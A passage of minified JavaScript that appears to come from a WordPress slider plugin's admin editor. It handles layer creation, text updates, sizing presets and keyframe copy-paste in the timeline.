i=t.path.substr(t.path.length-4).toLowerCase();switch(i){case".png":case".bmp":case".jpg":case".gif":case"jpeg":var a=RVS.F.addLayer({type:"image",forceSelect:!0,subtype:"predefined",extension:{size:{originalHeight:t.height,originalWidth:t.width},media:{imageId:t.id,imageUrl:t.path}}});RVS.F.intelligentUpdateValuesOnLayer(a),setTimeout(function(){RVS.DOC.trigger("restoreLayersSize")},500),RVS.F.selectLayers({id:a,overwrite:!0,action:"add"});break;case".mp4":case".mp3":case".mov":case".m4v":case"mpeg":var a=RVS.F.addLayer({type:"video",forceSelect:!0,subtype:"predefined",extension:{media:{id:t.id,mp4Url:t.path}}})}}}),RVS.DOC.on("click",".convert_layer_into",function(){var e=this.dataset.into;if("none"!==e){for(var t in RVS.selLayers)RVS.selLayers.hasOwnProperty(t)&&(RVS.L[RVS.selLayers[t]].type=e,RVS.L[RVS.selLayers[t]]=RVS.F.addLayerObj(jQuery.extend(!0,RVS.F.addLayerObj(e,void 0,!1,!0),RVS.L[RVS.selLayers[t]])),RVS.H[RVS.selLayers[t]].w.remove(),delete RVS.H[RVS.selLayers[t]],RVS.F.buildHTMLLayer({uid:RVS.selLayers[t]}),RVS.F.drawHTMLLayer({uid:RVS.selLayers[t]}),jQuery("#tllayerlist_element_276_"+RVS.selLayers[t]).find(".layerlist_element_type").html('<i class="material-icons">'+RVS.F.getLayerIcon(e)+"</i>"),RVS.F.showInfo({content:RVS_LANG.convertedlayer,type:"success",showdelay:0,hidedelay:2,hideon:"",event:""}));for(var i in window.lastselectedlayers=new Array,RVS.selLayers)lastselectedlayers.push(RVS.selLayers[i]);for(var i in RVS.F.showForms(RVS.eMode.menu,!0),lastselectedlayers)RVS.F.selectLayers({id:lastselectedlayers[i],overwrite:!1,action:"add"});RVS.F.updateLayerInputFields()}}),RVS.DOC.on("updateLayerLoopTimelineframes",function(e,t){void 0!==t&&"updateAllLayerFrames"==t.eventparam&&RVS.F.updateAllLayerFrames(),RVS.F.updateLayerTimelineLoopLists()}),RVS.DOC.on("updateCustomCSSLayerInput",RVS.F.updateCustomCSS),RVS.DOC.on("showhidelayerlooping",function(e,t){jQuery(".la_loopings_tab").hide(),jQuery("#la_loopings_tab_"+t).show()}),RVS.DOC.on("redrawInnerHTML",function(e,t){RVS.F.redrawTextLayerInnerHTML(t.layerid)}),RVS.DOC.on("layerTextContentUpdate",function(e,t){if(void 0!==t&&void 0!==t.val)for(var i in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i)){var a=RVS.selLayers[i];"text"!==RVS.L[a].type&&"button"!==RVS.L[a].type||(void 0!==RVS.H[a].splitText&&RVS.H[a].splitText.revert(),RVS.H[a].splitText=void 0,"placeholder"!==t.eventparam||0!==t.val.length&&""!==t.val&&" "!==t.val?void 0!==RVS.L[a].placeholder&&""!==RVS.L[a].placeholder&&"placeholder"!==t.eventparam||(RVS.H[a].c[0].innerHTML=jQuery.inArray(RVS.L[a].idle.whiteSpace[RVS.screen].v,["normal","nowrap"])>=0?RVS.F.replaceMetas(t.val):RVS.F.replaceMetas(t.val.replace(/\r\n|\r|\n/g,"<br />"))):RVS.H[a].c[0].innerHTML=jQuery.inArray(RVS.L[a].idle.whiteSpace[RVS.screen].v,["normal","nowrap"])>=0?RVS.F.replaceMetas(RVS.L[a].text):RVS.F.replaceMetas(RVS.L[a].text.replace(/\r\n|\r|\n/g,"<br />")),RVS.F.drawHTMLLayer({uid:a,ignoreLayerAnimation:!0}),void 0!==RVS.H[a].splitText&&RVS.F.updateLayerFrames({layerid:a}))}}),RVS.DOC.on("input","#ta_layertext",function(){var e=this.value;for(var t in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(t)){var i=RVS.selLayers[t];"text"!==RVS.L[i].type&&"button"!==RVS.L[i].type||(void 0!==RVS.H[i].splitText&&RVS.H[i].splitText.revert(),RVS.H[i].splitText=void 0,RVS.H[i].c[0].innerHTML=jQuery.inArray(RVS.L[i].idle.whiteSpace[RVS.screen].v,["normal","nowrap"])>=0?RVS.F.replaceMetas(e):RVS.F.replaceMetas(e.replace(/\r\n|\r|\n/g,"<br />")))}}),RVS.DOC.on("addBRtoTextLayer",function(e,t){var i=jQuery("#ta_layertext")[0].selectionStart;for(var a in RVS.F.openBackupGroup({id:"insertlinebreak",txt:"Insert Line Break",icon:"subdirectory_arrow_right"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(a)){var r=RVS.selLayers[a],s=RVS.S.slideId+".layers."+r+".text",o=RVS.L[r].text.substring(0,i),n=RVS.L[r].text.substring(i,RVS.L[r].text.length);RVS.F.updateSliderObj({path:s,val:o+"<br />"+n}),RVS.F.redrawTextLayerInnerHTML(r,!0)}RVS.F.closeBackupGroup({id:"insertlinebreak"}),RVS.F.updateLayerInputFields()}),RVS.DOC.on("screenSelectorChanged",function(){for(var e in window.lastselectedlayers=new Array,RVS.selLayers)lastselectedlayers.push(RVS.selLayers[e]);RVS.SLIDER[RVS.S.slideId].slide.static.isstatic&&void 0!==RVS.S.lastShownSlideId&&(RVS.F.showWaitAMinute({fadeIn:50,text:"Please Wait"}),tpGS.gsap.to("#rev_slider_ul",.05,{opacity:0}),setTimeout(function(){var e=RVS.S.slideId;RVS.F.mainMode({mode:"slidelayout",slide:RVS.S.lastShownSlideId}),RVS.F.updateLayerInputFields(),RVS.F.expandCollapseTimeLine(!0,"open"),RVS.F.sliderUpdateAfterResize(),setTimeout(function(){for(var t in RVS.F.mainMode({mode:"slidelayout",slide:e}),RVS.F.showForms(RVS.eMode.menu,!0),RVS.F.sliderUpdateAfterResize(),lastselectedlayers)RVS.F.selectLayers({id:lastselectedlayers[t],overwrite:!1,action:"add"});RVS.F.showWaitAMinute({fadeOut:200,text:"Please Wait"}),tpGS.gsap.to("#rev_slider_ul",.5,{opacity:1})},250)},100)),RVS.F.updateAllHTMLLayerPositions(),RVS.F.updateLayerInputFields(),RVS.F.expandCollapseTimeLine(!0,"open")}),RVS.DOC.on("sliderSizeChanged",function(){RVS.F.drawHTMLLayers(),RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"GoToIdle"})}),RVS.DOC.on("updatelayerbgimage",RVS.F.updateLayerBgImage),RVS.DOC.on("updatelayerimagesrc",RVS.F.updateLayerImageSrc),RVS.DOC.on("resetVideoPlaceholder",RVS.F.resetVideoPlaceholder),RVS.DOC.on("syncVideoRatio",RVS.F.resyncVideoAspectRatio),RVS.DOC.on("lockMargin",function(e,t){RVS.F.lockUnlockMarginPadding(t,"margin",".#size#.v")}),RVS.DOC.on("lockPadding",function(e,t){RVS.F.lockUnlockMarginPadding(t,"padding",".#size#.v")}),RVS.DOC.on("lockBorder",function(e,t){RVS.F.lockUnlockMarginPadding(t,"borderWidth","")}),RVS.DOC.on("lockBorderRadius",function(e,t){RVS.F.lockUnlockMarginPadding(t,"borderRadius",".v")}),RVS.DOC.on("lockBorderHover",function(e,t){RVS.F.lockUnlockMarginPadding(t,"borderWidth","","hover")}),RVS.DOC.on("lockBorderRadiusHover",function(e,t){RVS.F.lockUnlockMarginPadding(t,"borderRadius",".v","hover")}),RVS.DOC.on("updateMarginInput",function(e,t){RVS.F.updateMarginPaddingValues(t,"margin",".#size#.v")}),RVS.DOC.on("updatePaddingInput",function(e,t){RVS.F.updateMarginPaddingValues(t,"padding",".#size#.v")}),RVS.DOC.on("updateBorderInput",function(e,t){RVS.F.updateMarginPaddingValues(t,"borderWidth","")}),RVS.DOC.on("updateBorderRadiusInput",function(e,t){RVS.F.updateMarginPaddingValues(t,"borderRadius",".v")}),RVS.DOC.on("updateBorderInputHover",function(e,t){RVS.F.updateMarginPaddingValues(t,"borderWidth","","hover")}),RVS.DOC.on("updateBorderRadiusInputHover",function(e,t){RVS.F.updateMarginPaddingValues(t,"borderRadius",".v","hover")}),RVS.DOC.on("updateFontFamily",function(e,t){t="fontweight"===t,RVS.F.checkUsedFonts(t)}),RVS.DOC.on("updateInputFields",function(e,t){RVS.F.updateLayerInputFields()}),RVS.DOC.on("layerSizeChange",function(e,t){for(var i in RVS.F.changeLayerSizes({direction:t.eventparam,v:t.val}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i)){var a=RVS.selLayers[i];RVS.F.updateHTMLLayerPosition({uid:a,updateValues:!1,lhCwidth:RVS.H[a].c.outerWidth(),lhCheight:RVS.H[a].c.outerHeight()})}}),RVS.DOC.on("audioControlOnOff",function(e,t){RVS.F.changeAudioLayerSize({v:t.val})}),RVS.DOC.on("disableAllMediaControls",function(e,t){RVS.F.changeMediaControlsInteraction({v:t.val})}),RVS.DOC.on("lockLayerRatio",function(e,t){RVS.F.lockUnlockLayerRatio(t)}),RVS.DOC.on("layerSizePreset",function(e,t){for(var i in RVS.F.openBackupGroup({id:"layerresize",txt:"Size Preset",icon:"photo_size_select_large"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i)){var a=RVS.L[RVS.selLayers[i]],r=RVS.S.slideId+".layers."+RVS.selLayers[i]+".",s=document.getElementById("layer_covermode");switch(void 0!==RVS.L[a.group.puid]&&"column"===RVS.L[a.group.puid].type&&("shape"===a.type|"button"===a.type||"text"==a.type)&&(t.val="custom",s.value="custom"),RVS.F.updateSliderObj({path:r+"size.covermode",val:t.val}),s.value){case"custom":if("image"===RVS.L[RVS.selLayers[i]].type){RVS.F.updateSliderObj({path:r+"size.scaleProportional",val:!0});var o=RVS.F.getProportionalSizes({proportional:!0,type:"fit",image:{width:a.size.originalWidth,height:a.size.originalHeight},viewPort:{width:a.size.width[RVS.screen].v,height:a.size.height[RVS.screen].v}});RVS.F.updateSliderObj({path:r+"size.width.#size#.v",val:o.width+"px"}),RVS.F.updateSliderObj({path:r+"size.height.#size#.v",val:o.height+"px"})}break;case"fullwidth":"image"===RVS.L[RVS.selLayers[i]].type&&RVS.F.updateSliderObj({path:r+"size.scaleProportional",val:!0}),RVS.F.updateSliderObj({path:r+"position.x.#size#.v",val:"0px"}),RVS.F.updateSliderObj({path:r+"size.width.#size#.v",val:"100%"});break;case"fullheight":"image"===RVS.L[RVS.selLayers[i]].type&&RVS.F.updateSliderObj({path:r+"size.scaleProportional",val:!0}),RVS.F.updateSliderObj({path:r+"position.y.#size#.v",val:"0px"}),RVS.F.updateSliderObj({path:r+"size.height.#size#.v",val:"100%"});break;case"cover-proportional":RVS.F.updateSliderObj({path:r+"size.scaleProportional",val:!0}),RVS.F.updateSliderObj({path:r+"position.x.#size#.v",val:"0px"}),RVS.F.updateSliderObj({path:r+"size.width.#size#.v",val:"100%"}),RVS.F.updateSliderObj({path:r+"position.y.#size#.v",val:"0px"}),RVS.F.updateSliderObj({path:r+"size.height.#size#.v",val:"100%"});break;case"cover":RVS.F.updateSliderObj({path:r+"size.scaleProportional",val:!1}),RVS.F.updateSliderObj({path:r+"position.x.#size#.v",val:"0px"}),RVS.F.updateSliderObj({path:r+"size.width.#size#.v",val:"100%"}),RVS.F.updateSliderObj({path:r+"position.y.#size#.v",val:"0px"}),RVS.F.updateSliderObj({path:r+"size.height.#size#.v",val:"100%"})}RVS.F.drawHTMLLayer({uid:RVS.selLayers[i]})}RVS.F.closeBackupGroup({id:"layerresize"}),RVS.F.updateLayerInputFields()}),RVS.DOC.on("restoreLayersSize",function(e,t){for(var i in RVS.F.openBackupGroup({id:"layerresize",txt:"Restore Original Size",icon:"photo_size_select_large"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i)){var a=RVS.L[RVS.selLayers[i]],r=RVS.S.slideId+".layers."+RVS.selLayers[i]+".";switch(a.type){case"shape":RVS.F.updateSliderObj({path:r+"size.width.#size#.v",val:a.size.originalWidth+"px"}),RVS.F.updateSliderObj({path:r+"size.height.#size#.v",val:a.size.originalHeight+"px"});break;case"image":RVS.F.updateSliderObj({path:r+"size.width.#size#.v",val:a.size.originalWidth+"px"}),RVS.F.updateSliderObj({path:r+"size.height.#size#.v",val:a.size.originalHeight+"px"}),RVS.F.updateSliderObj({path:r+"size.scaleProportional",val:!0});break;case"video":RVS.F.updateSliderObj({path:r+"size.width.#size#.v",val:RVS.F.retWitSuf(a.size.originalWidth,"px")}),RVS.F.updateSliderObj({path:r+"size.height.#size#.v",val:RVS.F.retWitSuf(a.size.originalHeight,"px")}),RVS.F.updateSliderObj({path:r+"size.scaleProportional",val:!0});break;default:RVS.F.updateSliderObj({path:r+"size.width.#size#.v",val:"auto"}),RVS.F.updateSliderObj({path:r+"size.height.#size#.v",val:"auto"})}RVS.F.drawHTMLLayer({uid:RVS.selLayers[i]})}RVS.F.closeBackupGroup({id:"layerresize"}),RVS.F.updateLayerInputFields()}),RVS.DOC.on("updateKeyFramesList",function(){if(0!==RVS.selLayers.length){RVS.S.keyFrame="idle"===RVS.S.keyFrame?RVS.L[RVS.selLayers[0]].timeline.frameToIdle:RVS.S.keyFrame,s=void 0===s?jQuery("#le_keyframes_list_innerwrap"):s,r=void 0===r?jQuery("#set_editor_view"):r,RVS.LIB.LAYERANIMS.animSettings[0].className="selected_"+RVS.S.keyFrame,RVS.LIB.LAYERANIMS.translists[0].detach(),RVS.LIB.LAYERANIMS.translists[999].detach();var e="";for(var t in RVS.F.getFrameOrder({layerid:RVS.selLayers[0]}),RVS.L[RVS.selLayers[0]].timeline.frameOrder)if(RVS.L[RVS.selLayers[0]].timeline.frameOrder.hasOwnProperty(t)){var i=RVS.L[RVS.selLayers[0]].timeline.frameOrder[t].id,a=parseInt(t,0)+1,o=RVS.S.keyFrame==i?" selected":"",n="frame_999"===i||"frame_0"===i?"":'<div data-evtparam="'+i+'" data-evt="addkeyframe" class="callEventButton basic_action_button add_frame_after"><i class="material-icons">add</i></div>';RVS.S.keyFrame==i&&p(a);var l="frame_0"===i?"IN":"frame_999"===i?"OUT":"TO",d="frame_0"===i||"frame_999"===i?'<i class="material-icons">arrow_drop_down</i>':'<i class="emptyspace20"></i>',S=i===RVS.L[RVS.selLayers[0]].timeline.frameToIdle?'<i class="material-icons">visibility</i>':"",c=""!==S?"with_icon":"";e+='<li id="keyframe_list_el_'+i+'" class="keyframe_liste keyframe_liste_dyn '+o+'" data-framenr="'+a+'" data-frame="'+i+'"><div class="keyframe_CP_wrap" data-frame="'+i+'"><div class="keyframe_CP_toggle"><i class="material-icons">more_vert</i></div></div><div class="keyframe_liste_inner"><span class="frame_list_id">'+l+d+'</span><span class="frame_list_title '+c+'">'+S+RVS.L[RVS.selLayers[0]].timeline.frames[i].alias+"</span>"+n+"</div></li>"}RVS.L[RVS.selLayers[0]].timeline.frameToIdle===RVS.S.keyFrame?r.addClass("disabled"):r.removeClass("disabled"),s[0].innerHTML=e,RVS.L[RVS.selLayers[0]].timeline.tloop.use&&RVS.F.updateLayerTimelineLoopLists(),RVS.F.updateFrameOptionsVisual()}}),RVS.DOC.on("reverse-in-animation",function(e,t){0!==RVS.selLayers.length&&RVS.F.updateLayerFrame({layerid:RVS.selLayers[0],frame:"frame_999"})}),RVS.DOC.on("click",".keyframe_liste",function(){RVS.F.setKeyframeSelected(this.dataset.frame)}),RVS.DOC.on("click",".frame_list_eview",function(){var e=RVS.S.slideId+".layers."+RVS.selLayers[0]+".timeline.frameToIdle";RVS.F.updateSliderObj({path:e,val:this.dataset.frame}),RVS.DOC.trigger("updateKeyFramesList")}),RVS.DOC.on("addkeyframe",function(e,t){if(0!==RVS.selLayers.length){var i=RVS.selLayers[0],a=function(e){var t=0;for(var i in RVS.L[e.layerid].timeline.frames)if(RVS.L[e.layerid].timeline.frames.hasOwnProperty(i)){var a=parseInt(i.split("frame_")[1],0);t=t<=a&&a<998?a+1:t}return"frame_"+t}({layerid:i}),r=RVS.F.getPrevNextFrame({layerid:i,frame:t});if(r.next.start>r.cur.end+500){RVS.F.openBackupGroup({id:"AddLayerFrame",txt:"Add KeyFrame",icon:"theaters"}),RVS.L[i].timeline.frames[a]=g({speed:400,start:r.cur.end+100,alias:RVS_LANG.animateto},a);try{RVS.L[i].timeline.frames[a].transform.originX=RVS.L[i].timeline.frames[t].transform.originX,RVS.L[i].timeline.frames[a].transform.originY=RVS.L[i].timeline.frames[t].transform.originY,RVS.L[i].timeline.frames[a].transform.originZ=RVS.L[i].timeline.frames[t].transform.originZ,RVS.L[i].timeline.frames[a].chars.originX=RVS.L[i].timeline.frames[t].chars.originX,RVS.L[i].timeline.frames[a].chars.originY=RVS.L[i].timeline.frames[t].chars.originY,RVS.L[i].timeline.frames[a].chars.originZ=RVS.L[i].timeline.frames[t].chars.originZ,RVS.L[i].timeline.frames[a].words.originX=RVS.L[i].timeline.frames[t].words.originX,RVS.L[i].timeline.frames[a].words.originY=RVS.L[i].timeline.frames[t].words.originY,RVS.L[i].timeline.frames[a].words.originZ=RVS.L[i].timeline.frames[t].words.originZ,RVS.L[i].timeline.frames[a].lines.originX=RVS.L[i].timeline.frames[t].lines.originX,RVS.L[i].timeline.frames[a].lines.originY=RVS.L[i].timeline.frames[t].lines.originY,RVS.L[i].timeline.frames[a].lines.originZ=RVS.L[i].timeline.frames[t].lines.originZ}catch(e){console.info(e)}RVS.L[i].timeline.frames[a].color=jQuery.extend(!0,{},RVS.L[i].timeline.frames[t].color),RVS.L[i].timeline.frames[a].filter=jQuery.extend(!0,{},RVS.L[i].timeline.frames[t].filter),RVS.F.backup({path:i+".timeline.frames."+a,cache:void 0,icon:"theaters",txt:"Add Layer Keyframe",lastkey:a,layer:i,slide:RVS.S.slideId,frame:a,force:!0,val:RVS.L[i].timeline.frames[a],old:{},backupType:"frame",bckpGrType:"AddLayerFrame"}),RVS.F.closeBackupGroup({id:"AddLayerFrame"}),RVS.F.addLayerFrameOnDemand(RVS.L[i],document.getElementById("tllayerlist_element_"+RVS.S.slideId+"_"+i),a),RVS.F.getFrameOrder({layerid:i}),RVS.F.updateFramesZIndexes({layerid:i}),RVS.DOC.trigger("updateKeyFramesList"),RVS.S.keyFrame=a,setTimeout(function(){RVS.F.setKeyframeSelected(a)},20)}else RVS.F.showInfo({content:RVS_LANG.notenoughspaceontimeline,type:"warning",showdelay:0,hidedelay:2,hideon:"",event:""})}}),RVS.DOC.on("click","#remove_keyframe",function(){var e=RVS.selLayers[0];RVS.F.openBackupGroup({id:"RemoveLayerFrame",txt:"Remove KeyFrame",icon:"theaters"}),RVS.F.backup({path:e+".timeline.frames."+RVS.S.keyFrame,cache:void 0,icon:"theaters",txt:"Remove Layer Keyframe",lastkey:RVS.S.keyFrame,layer:e,slide:RVS.S.slideId,frame:RVS.S.keyFrame,force:!0,val:{},old:RVS.L[e].timeline.frames[RVS.S.keyFrame],backupType:"frame",bckpGrType:"RemoveLayerFrame"}),delete RVS.L[e].timeline.frames[RVS.S.keyFrame],jQuery("#"+RVS.S.slideId+"_"+e+"_"+RVS.S.keyFrame).remove(),RVS.S.keyFrame===RVS.L[e].timeline.frameToIdle&&RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e+".timeline.frameToIdle",val:"frame_1"}),RVS.S.keyFrame="frame_1",RVS.F.getFrameOrder({layerid:e}),RVS.F.updateFramesZIndexes({layerid:e}),RVS.DOC.trigger("updateKeyFramesList"),RVS.F.updateLayerInputFields(),RVS.F.closeBackupGroup({id:"RemoveLayerFrame"})}),RVS.DOC.on("click","#set_editor_view",function(){var e=RVS.selLayers[0];RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e+".timeline.frameToIdle",val:RVS.S.keyFrame}),RVS.F.getFrameOrder({layerid:e}),RVS.F.updateFramesZIndexes({layerid:e}),RVS.DOC.trigger("updateKeyFramesList"),RVS.F.renderLayerAnimation({layerid:RVS.selLayers[0]})}),RVS.DOC.on("click",".transtarget_selector",function(){var e=jQuery(this).closest(".form_inner");e.find(".transtarget_selector").removeClass("selected"),this.className+=" selected",e.find(".group_transsettings").hide(),jQuery(this.dataset.showtrans).show(),RVS.S.frameTrgt=this.dataset.frametarget}),RVS.DOC.on("click",".looptarget_selector",function(){jQuery(".looptarget_selector").removeClass("selected"),this.className+=" selected",jQuery(".group_loopsettings").hide(),jQuery(this.dataset.showloop).show()}),RVS.DOC.on("click",".keyframe_CP_wrap",function(){return window.frameCopyPaste=void 0===window.frameCopyPaste?{cache:void 0,tool:void 0}:window.frameCopyPaste,window.frameCopyPaste.frame="frame_0"===this.dataset.frame?"frame_1":this.dataset.frame,window.frameCopyPaste.layerid=RVS.selLayers[0],void 0===window.frameCopyPaste.tool&&(jQuery(document.body).append('<div id="frame_copypaste_tool"><div class="copyframe">'+RVS_LANG.copy+'</div><div class="pasteframe">'+RVS_LANG.paste+"</div></div>"),window.frameCopyPaste.tool=jQuery("#frame_copypaste_tool")),void 0!==window.frameCopyPaste.cache?window.frameCopyPaste.tool.addClass("copy_and_paste"):window.frameCopyPaste.tool.removeClass("copy_and_paste"),window.frameCopyPaste.visible=!0,tpGS.gsap.set(window.frameCopyPaste.tool,{display:"block",top:jQuery(this).offset().top}),!1}),RVS.DOC.on("click",".copyframe",function(){return"frame_1"===window.frameCopyPaste.frame?window.frameCopyPaste.cache_0=jQuery.extend(!0,{},RVS.L[window.frameCopyPaste.layerid].timeline.frames.frame_0):delete window.frameCopyPaste.cache_0,window.frameCopyPaste.cache=jQuery.extend(!0,{},RVS.L[window.frameCopyPaste.layerid].timeline.frames[window.frameCopyPaste.frame]),window.frameCopyPaste.clipPath=jQuery.extend(!0,{},RVS.L[window.frameCopyPaste.layerid].timeline.clipPath),window.frameCopyPaste.splitlen=RVS.F.getSplitDelay({layerid:window.frameCopyPaste.layerid,frame:window.frameCopyPaste.frame}),window.frameCopyPaste.len=RVS.F.addT([window.frameCopyPaste.cache.timeline.speed,window.frameCopyPaste.splitlen]),tpGS.gsap.set(window.frameCopyPaste.tool,{display:"none"}),window.frameCopyPaste.visible=!1,!1}),RVS.DOC.on("click",".pasteframe",function(){var e=RVS.selLayers[0],t=RVS.L[window.frameCopyPaste.layerid].timeline.frames[window.frameCopyPaste.frame],i=RVS.L[window.frameCopyPaste.layerid].timeline.clipPath,a=void 0!==window.frameCopyPaste.cache_0?RVS.L[window.frameCopyPaste.layerid].timeline.frames.frame_0:void 0,r=RVS.F.getPrevNextFrame({layerid:e,frame:window.frameCopyPaste.frame}),s=RVS.F.addT([t.timeline.start,window.frameCopyPaste.len]);if(r.next.start>s){RVS.F.openBackupGroup({id:"updateFrame",txt:"Copy Paste KeyFrame",icon:"theaters"});var o=jQuery.extend(!0,window.frameCopyPaste.cache,{alias:t.timeline.alias,timeline:{start:t.timeline.start}}),n=jQuery.extend(!0,{},window.frameCopyPaste.clipPath),l=void 0!==window.frameCopyPaste.cache_0?jQuery.extend(!0,window.frameCopyPaste.cache_0,{alias:a.timeline.alias,timeline:{start:a.timeline.start}}):void 0;"frame_999"!==window.frameCopyPaste.frame&&(o.timeline.endWithSlide=!1,o.timeline.auto=!1),RVS.F.backup({lastkey:window.frameCopyPaste.frame,frame:window.frameCopyPaste.frame,layer:window.frameCopyPaste.layerid,path:window.frameCopyPaste.layerid+".timeline.frames."+window.frameCopyPaste.frame,cache:void 0,icon:"theaters",txt:"Copy Paste KeyFrame",slide:RVS.S.slideId,force:!0,val:o,old:t,backupType:"singleFrame",bckpGrType:"updateFrame"}),RVS.L[window.frameCopyPaste.layerid].timeline.frames[window.frameCopyPaste.frame]=jQuery.extend(!0,{},o),RVS.F.backup({lastkey:window.frameCopyPaste.clipPath,layer:window.frameCopyPaste.layerid,path:window.frameCopyPaste.layerid+".timeline.clipPath",cache:void 0,icon:"theaters",txt:"Copy Paste clipPath",slide:RVS.S.slideId,force:!0,val:n,old:i,backupType:"clipPath",bckpGrType:"updateFrame"}),RVS.L[window.frameCopyPaste.layerid].timeline.clipPath=jQuery.extend(!0,{},n),void 0!==a&&(RVS.F.backup({lastkey:"frame_0",frame:"frame_0",layer:window.frameCopyPaste.layerid,path:window.frameCopyPaste.layerid+".timeline.frames.frame_0",cache:void 0,icon:"theaters",txt:"Copy Paste KeyFrame",slide:RVS.S.slideId,force:!0,val:l,old:a,backupType:"singleFrame",bckpGrType:"updateFrame"}),RVS.L[window.frameCopyPaste.layerid].timeline.frames.frame_0=jQuery.extend(!0,{},l)),RVS.F.closeBackupGroup({id:"updateFrame"}),RVS.F.updateAllLayerFrames(),RVS.F.renderLayerAnimation({layerid:window.frameCopyPaste.layerid}),RVS.F.updateTimeLine({force:!0,state:"time",time:RVS.TL.cache.main,timeline:"main",forceFullLayerRender:!0,updateCurTime:!0}),RVS.F.selectLayers({id:window.frameCopyPaste.layerid,overwrite:!0,action:"add"})}else RVS.F.showInfo({content:RVS_LANG.notenoughspaceontimeline,type:"warning",showdelay:0,hidedelay:2,hideon:"",event:""})}),RVS.DOC.on("mouseleave","#frame_copypaste_tool",function(){tpGS.gsap.set(window.frameCopyPaste.tool,{display:"none"}),window.frameCopyPaste.visible=!1}),RVS.DOC.on("checkEnterFrameLevels",function(e,t){if(void 0!==t&&void 0!==t.layerid&&("frame_1"===RVS.S.keyFrame||"frame_0"===RVS.S.keyFrame)){var i="frame_0"===RVS.S.keyFrame?"frame_1":"frame_0";RVS.L[t.layerid].timeline.frames[RVS.S.keyFrame].chars.use&&(RVS.L[t.layerid].timeline.frames[i].chars.use=!0),RVS.L[t.layerid].timeline.frames[RVS.S.keyFrame].words.use&&(RVS.L[t.layerid].timeline.frames[i].words.use=!0),RVS.L[t.layerid].timeline.frames[RVS.S.keyFrame].lines.use&&(RVS.L[t.layerid].timeline.frames[i].lines.use=!0),RVS.L[t.layerid].timeline.frames[RVS.S.keyFrame].mask.use&&(RVS.L[t.layerid].timeline.frames[i].mask.use=!0)}for(var a in RVS.F.updateFrameOptionsVisual(),RVS.selLayers)RVS.selLayers.hasOwnProperty(a)&&(RVS.F.updateLayerFrame({layerid:parseInt(RVS.selLayers[a],0),frame:"frame_0"!==RVS.S.keyFrame?RVS.S.keyFrame:"frame_1"}),RVS.F.updateFrameRealSpeed())}),RVS.DOC.on("click",".layer_transliste_head",function(){var e=this.parentNode.className.indexOf("open")>=0;jQuery(".layer_transliste").removeClass("open"),e||(this.parentNode.className+=" open")}),RVS.DOC.on("click",".frame_list_id",function(){jQuery("#keyframe_list_el_frame_0").append(RVS.LIB.LAYERANIMS.translists[0]),jQuery("#keyframe_list_el_frame_999").append(RVS.LIB.LAYERANIMS.translists[999]);var e=this.parentNode.parentNode.className.indexOf("open")>=0;return jQuery(".keyframe_liste").removeClass("open"),e||(this.parentNode.parentNode.className+=" open"),!1}),RVS.DOC.on("click",".latransgroup_head",function(){var e=this.parentNode.className.indexOf("open")>=0;return jQuery(".latransgroup").removeClass("open"),e||(this.parentNode.className+=" open"),!1}),RVS.DOC.on("mouseover",".load_anim_value_wrap",function(){window.timelineTemporaryCached||(window.timelineTemporaryCached=!0,RVS.L[RVS.selLayers[0]].timelinecache=jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].timeline))}),RVS.DOC.on("mouseleave",".load_anim_value_wrap",function(){window.timelineTemporaryCached=!1,void 0!==RVS.L[RVS.selLayers[0]].timelinecache&&(RVS.L[RVS.selLayers[0]].timeline=jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].timelinecache)),delete RVS.L[RVS.selLayers[0]].timelinecache,clearTimeout(window.timelineTemporaryUpdate),window.timelineTemporaryUpdate=setTimeout(function(){RVS.F.updateLayerFrames({layerid:RVS.selLayers[0]})},50),RVS.S.shwLayerAnim?RVS.F.playLayerAnimation({layerid:RVS.selLayers[0]}):RVS.F.stopAllLayerAnimation(),RVS.F.buildMainTimeLine(),RVS.TL.cache.main<=0?RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"load_anim_value_left"}):RVS.F.updateTimeLine({force:!0,state:"time",time:RVS.TL.cache.main,timeline:"main",forceFullLayerRender:!0,updateCurTime:!0})}),RVS.DOC.on("mouseover",".layer_trans_liste",function(){if("custom"===this.dataset.tindex)return!1;void 0!==RVS.L[RVS.selLayers[0]].timelinecache&&(u(RVS.LIB.LAYERANIMS[this.dataset.lindex][this.dataset.gindex].transitions[this.dataset.tindex]),RVS.F.renderLayerAnimation({layerid:RVS.selLayers[0]}),RVS.F.playLayerAnimation({layerid:RVS.selLayers[0],time:"out"===this.dataset.lindex?"frame_999":void 0}))}),RVS.DOC.on("click",".layer_trans_liste",function(){if(void 0!==RVS.L[RVS.selLayers[0]].timelinecache){if("custom"===this.dataset.tindex){var e=jQuery(this);return this.dataset.mode="create",e.addClass("cla_showentername"),e.find("input").trigger("focus").trigger("select"),RVS.S.waitOnFeedback={allowed:["cla_entername","cla_answer_yes","cla_answer_no"],closeEvent:"hideCustomLayerNameEntering"},RVS.F.addBodyClickListener(),!1}return RVS.F.changeLayerAnimation({direction:this.dataset.lindex,group:this.dataset.gindex,transition:this.dataset.tindex,fromLayerTransListe:!0}),!1}}),RVS.DOC.on("hideCustomLayerNameEntering",function(){jQuery(".cla_showentername").removeClass("cla_showentername")}),RVS.DOC.on("click",".edit_custom_layeranimation",function(){var e=void 0!==this.dataset.evt?jQuery(this).closest(".presets_listelement"):jQuery(this).closest(".layer_trans_liste");return e[0].dataset.mode="rename",e.addClass("cla_showentername"),e.find("input").trigger("focus").trigger("select"),RVS.S.waitOnFeedback={allowed:["cla_entername","cla_answer_yes","cla_answer_no"],closeEvent:"hideCustomLayerNameEntering"},RVS.F.addBodyClickListener(),!1}),RVS.DOC.on("click",".delete_custom_layeranimation",function(){var e=void 0!==this.dataset.evt?jQuery(this).closest(".presets_listelement"):jQuery(this).closest(".layer_trans_liste");return 